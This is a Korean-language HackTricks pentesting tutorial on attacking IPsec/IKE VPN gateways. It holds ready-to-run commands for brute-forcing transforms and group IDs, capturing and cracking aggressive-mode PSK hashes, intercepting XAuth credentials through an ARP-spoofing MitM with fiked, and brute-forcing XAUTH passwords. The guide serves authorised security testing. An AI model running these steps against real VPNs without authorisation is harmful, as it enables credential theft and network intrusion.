hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

20 KiB

500/udp - IPsec/IKE VPN Pentesting

AWS 해킹을 제로부터 전문가로 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


기본 정보

IPsec은 네트워크 간 통신 (LAN-to-LAN) 및 원격 사용자가 네트워크 게이트웨이에 접속하는 것을 보호하는 주요 기술로 인식되며 기업용 VPN 솔루션의 기반 역할을 합니다.

두 지점 간의 보안 연결 (SA) 설정은 IKE에 의해 관리되며, 이는 인증 및 키 교환을 위해 설계된 프로토콜인 ISAKMP의 범주에서 작동합니다. 이 프로세스는 여러 단계로 진행됩니다:

  • Phase 1: 두 지점 간에 안전한 채널이 생성됩니다. 이는 사전 공유 키 (PSK) 또는 인증서를 사용하여 달성되며, 메인 모드 또는 공격적 모드 중 하나를 사용합니다.
  • Phase 1.5: 필수는 아니지만, 이 단계인 확장 인증 단계는 사용자의 신원을 확인하기 위해 사용자 이름과 암호를 요구합니다.
  • Phase 2: 이 단계는 ESPAH로 데이터 보안 매개변수를 협상하는 데 전념합니다. **완벽한 전방 비밀성 (PFS)**을 보장하기 위해 Phase 1과 다른 알고리즘을 사용할 수 있어 보안을 강화합니다.

기본 포트: 500/udp

nmap을 사용하여 서비스 발견하기

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

유효한 변환 찾기

IPSec 구성은 하나 또는 몇 가지 변환만 허용하도록 준비될 수 있습니다. 변환은 값들의 조합입니다. 각 변환에는 DES 또는 3DES와 같은 암호화 알고리즘, SHA 또는 MD5와 같은 무결성 알고리즘, 사전 공유 키와 같은 인증 유형, Diffie-Hellman 1 또는 2와 같은 키 분배 알고리즘, 그리고 28800초와 같은 수명이 포함됩니다.

그런 다음 해야 할 첫 번째 작업은 유효한 변환을 찾는 것입니다. 이렇게 하면 서버가 당신과 통신할 수 있습니다. 이를 위해 ike-scan 도구를 사용할 수 있습니다. 기본적으로 Ike-scan은 메인 모드에서 작동하며 ISAKMP 헤더와 여덟 개의 변환을 포함하는 단일 제안이 있는 패킷을 게이트웨이로 보냅니다.

응답에 따라 엔드포인트에 대한 일부 정보를 얻을 수 있습니다:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

이전 응답에서 볼 수 있듯이 AUTH라는 필드가 있으며 값은 PSK입니다. 이는 VPN이 사전 공유 키를 사용하여 구성되었음을 의미합니다 (이는 펜테스터에게 매우 좋습니다).
마지막 줄의 값도 매우 중요합니다:

  • 0 returned handshake; 0 returned notify: 이는 대상이 IPsec 게이트웨이가 아님을 의미합니다.
  • 1 returned handshake; 0 returned notify: 이는 대상이 IPsec로 구성되어 있고 IKE 협상을 수행하려고 하며 제안한 변환 중 하나 이상이 허용되는 경우임을 의미합니다 (유효한 변환은 출력에 표시됩니다).
  • 0 returned handshake; 1 returned notify: VPN 게이트웨이는 허용되는 변환 없음일 때 알림 메시지로 응답합니다 (일부 게이트웨이는 그렇지 않을 수도 있으며, 이 경우 추가 분석 및 수정된 제안이 필요합니다).

그런 다음, 이미 유효한 변환이 있지만 3번째 경우에 해당하는 경우 유효한 변환을 찾기 위해 약간의 브루트 포스가 필요합니다:

먼저 모든 가능한 변환을 생성해야 합니다:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

그런 다음 ike-scan을 사용하여 각각 브루트 포스 공격을 수행합니다 (이 작업은 몇 분 정도 소요될 수 있습니다):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

만약 브루트 포스 공격이 작동하지 않았다면, 서버가 핸드셰이크 없이도 유효한 변환에 대해 응답하는 것일 수 있습니다. 그럴 때는 동일한 브루트 포스를 사용하되 공격적 모드를 사용해 볼 수 있습니다:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

희망적으로 유효한 변환이 에코됩니다.
동일한 공격을 시도할 수 있습니다 iker.py.
또한 ikeforce를 사용하여 변환을 무력화할 수도 있습니다:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

DH 그룹: 14 = 2048-bit MODP15 = 3072-bit
2 = HMAC-SHA = SHA1 (이 경우). --trans 형식은 $Enc,$Hash,$Auth,$DH

시스코는 DH 그룹 1과 2를 사용하지 말라고 지적하고 있습니다. 이 그룹들은 충분히 강력하지 않기 때문입니다. 전문가들은 자원이 많은 국가들이 이러한 약한 그룹을 사용하는 데이터의 암호화를 쉽게 해독할 수 있다고 믿습니다. 이는 이러한 강력한 국가들이 이 코드를 빠르게 해독할 수 있도록 준비하는 특별한 방법을 사용함으로써 이루어집니다. 이 방법을 설정하는 데 많은 비용이 소요되지만, 이를 통해 이러한 강력한 국가들이 암호화된 데이터를 실시간으로 읽을 수 있게 됩니다. 이는 그룹이 강력하지 않은 경우(예: 1,024-bit 이하)에 해당됩니다.

서버 fingerprinting

그런 다음, ike-scan을 사용하여 장치의 벤더를 식별할 수 있습니다. 이 도구는 초기 제안을 보내고 다시 재생하지 않습니다. 그런 다음, 서버로부터 수신된 메시지와 일치하는 응답 패턴 사이의 시간 차이분석함으로써, 펜테스터는 VPN 게이트웨이 벤더를 성공적으로 fingerprinting할 수 있습니다. 더 나아가, 일부 VPN 서버는 IKE와 함께 선택적으로 Vendor ID (VID) 페이로드를 사용할 수 있습니다.

필요한 경우 유효한 변환을 지정하십시오( --trans 사용)

IKE가 벤더를 발견하면 해당 벤더를 출력합니다:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

이 작업은 nmap 스크립트 _ike-version_을 사용하여도 수행할 수 있습니다.

올바른 ID(그룹 이름) 찾기

해시를 캡처할 수 있도록 허용받으려면 적극적 모드를 지원하고 올바른 ID(그룹 이름)를 가져야 합니다. 올바른 그룹 이름을 알지 못할 가능성이 높기 때문에 브루트 포스해야 합니다.
이를 위해 2가지 방법을 권장합니다:

ike-scan을 사용한 ID 브루트 포싱

먼저 해시를 수집하려는 가짜 ID로 요청을 보내 보세요 ("-P"):

ike-scan -P -M -A -n fakeID <IP>

만약 해시가 반환되지 않는다면, 그러면 브루트 포싱 방법이 작동할 것입니다. 만약 어떤 해시가 반환된다면, 이는 가짜 ID에 대해 가짜 해시가 다시 보내질 것이므로 이 방법은 신뢰할 수 없게 될 것입니다. 예를 들어, 가짜 해시가 반환될 수 있습니다 (이것은 최신 버전에서 발생합니다):

하지만 내가 말했듯이, 해시가 반환되지 않는다면, ike-scan을 사용하여 일반 그룹 이름을 브루트 포싱해 보아야 합니다.

이 스크립트는 가능한 ID를 브루트 포싱하려고 시도하고 유효한 핸드셰이크가 반환된 ID를 반환할 것입니다 (이것은 유효한 그룹 이름일 것입니다).

특정 변환을 발견했다면 ike-scan 명령에 추가하십시오. 그리고 여러 변환을 발견했다면 모두 시도해보기 위해 새로운 루프를 추가하십시오 (하나가 제대로 작동할 때까지 모두 시도해야 합니다).

ikeforce의 사전 또는 seclists의 사전을 사용하여 일반 그룹 이름을 브루트 포싱할 수 있습니다:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Iker를 사용한 ID 브루트포싱

iker.py은 가능한 그룹 이름을 브루트포스팅하기 위해 ike-scan도 사용합니다. ike-scan의 출력을 기반으로 유효한 ID를 찾기 위한 자체 방법을 따릅니다.

ikeforce를 사용한 ID 브루트포싱

ikeforce.pyID를 브루트포스팅하는 데 사용할 수 있는 도구입니다. 이 도구는 다양한 취약점을 악용하려고 시도할 것입니다. 이는 유효한 ID와 유효하지 않은 ID를 구분하는 데 사용될 수 있는 다양한 취약점을 시도할 것입니다 (가짜 양성 및 가짜 음성이 있을 수 있으므로 가능하다면 ike-scan 방법을 사용하는 것을 선호합니다).

기본적으로 ikeforce는 서버의 동작을 확인하고 사용할 전략을 결정하기 위해 처음에 일부 무작위 ID를 보낼 것입니다.

  • 첫 번째 방법은 Cisco 시스템의 정보 Dead Peer Detection DPD검색하여 그룹 이름을 브루트포스팅하는 것입니다 (이 정보는 그룹 이름이 올바른 경우에만 서버에서 재생됩니다).
  • 사용 가능한 두 번째 방법은 각 시도에 보낸 응답 수를 확인하는 것입니다. 때로는 올바른 ID를 사용할 때 더 많은 패킷이 전송됩니다.
  • 세 번째 방법은 잘못된 ID에 대한 응답에서 "INVALID-ID-INFORMATION"을 검색하는 것입니다.
  • 마지막으로, 서버가 확인을 위해 아무것도 재생하지 않는 경우, ikeforce는 서버를 브루트포스팅하고 올바른 ID를 보낼 때 서버가 일부 패킷으로 응답하는지 확인할 것입니다.
    명백히, ID를 브루트포스팅하는 목표는 유효한 ID를 얻었을 때 PSK를 얻는 것입니다. 그런 다음, idPSK를 사용하여 XAUTH를 브루트포스팅해야 합니다.

특정 변환을 발견했다면 ikeforce 명령에 추가하십시오. 그리고 여러 변환을 발견했다면 모두 시도하기 위해 새 루프를 추가하십시오 (하나가 올바르게 작동할 때까지 모두 시도해야 합니다).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

스니핑 ID

(From the book Network Security Assessment: Know Your Network): VPN 클라이언트와 서버 간 연결을 스니핑하여 클라이언트 ID를 포함하는 첫 번째 공격적 모드 패킷을 평문으로 얻을 수도 있습니다.

해시 캡처 및 크래킹

마지막으로, 유효한 변환그룹 이름을 찾았으며 공격적 모드가 허용된 경우, 크래킹 가능한 해시를 쉽게 얻을 수 있습니다:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

해시는 hash.txt 파일 내에 저장됩니다.

해시를 크랙하기 위해 psk-crack, john (ikescan2john.py 사용) 및 hashcat을 사용할 수 있습니다:

psk-crack -d <Wordlist_path> psk.txt

XAuth

공격적 모드 IKE는 **사전 공유 키 (PSK)**와 결합되어 주로 그룹 인증 목적으로 사용됩니다. 이 방법은 **확장 인증 (XAuth)**로 보완되어 추가적인 사용자 인증 계층을 도입합니다. 이러한 인증은 일반적으로 Microsoft Active Directory, RADIUS 또는 유사한 시스템과 같은 서비스를 활용합니다.

IKEv2로 전환하면 **EAP (확장 가능 인증 프로토콜)**이 XAuth 대신 사용자 인증 목적으로 사용되는 것을 볼 수 있습니다. 이 변경은 안전한 통신 프로토콜 내에서 인증 관행의 진화를 강조합니다.

로컬 네트워크 MitM을 통한 자격 증명 캡처

따라서 _fiked_를 사용하여 로그인 데이터를 캡처하고 기본 사용자 이름이 있는지 확인할 수 있습니다 (스니핑을 위해 IKE 트래픽을 fiked로 리디렉션해야 합니다. 이는 ARP 스푸핑을 통해 수행할 수 있습니다. 자세한 정보). Fiked는 VPN 엔드포인트 역할을 하며 XAuth 자격 증명을 캡처할 것입니다:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

IPSec를 사용하여 MitM 공격을 시도하고 포트 500으로의 모든 트래픽을 차단해보세요. IPSec 터널을 수립할 수 없다면 트래픽이 평문으로 전송될 수 있습니다.

ikeforce를 사용하여 XAUTH 사용자 이름과 암호를 무차별 대입 공격하기

XAUTH를 무차별 대입 공격하기 위해 (유효한 그룹 이름 idpsk를 알고 있는 경우) 사용자 이름 또는 사용자 이름 목록과 암호 목록을 사용할 수 있습니다:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

이 방법으로, ikeforce는 각 username:password 조합을 사용하여 연결을 시도할 것입니다.

하나 이상의 유효한 변환을 찾았다면, 이전 단계와 같이 사용하십시오.

IPSEC VPN으로의 인증

Kali에서 VPNC는 IPsec 터널을 설정하는 데 사용됩니다. 프로필/etc/vpnc/ 디렉토리에 있어야 합니다. 이러한 프로필은 vpnc 명령을 사용하여 시작할 수 있습니다.

다음 명령어와 구성은 VPNC를 사용하여 VPN 연결을 설정하는 과정을 설명합니다:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

설정:

  • [VPN_GATEWAY_IP]를 VPN 게이트웨이의 실제 IP 주소로 대체합니다.
  • [VPN_CONNECTION_ID]를 VPN 연결을 식별하는 식별자로 대체합니다.
  • [VPN_GROUP_SECRET]를 VPN 그룹 비밀로 대체합니다.
  • [VPN_USERNAME][VPN_PASSWORD]를 VPN 인증 자격 증명으로 대체합니다.
  • vpnc가 시작될 때 할당되는 프로세스 ID를 나타내는 [PID]를 대체합니다.

VPN 구성 시 플레이스홀더를 실제 안전한 값으로 대체하는 것을 확인하십시오.

참고 자료

Shodan

  • port:500 IKE

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법: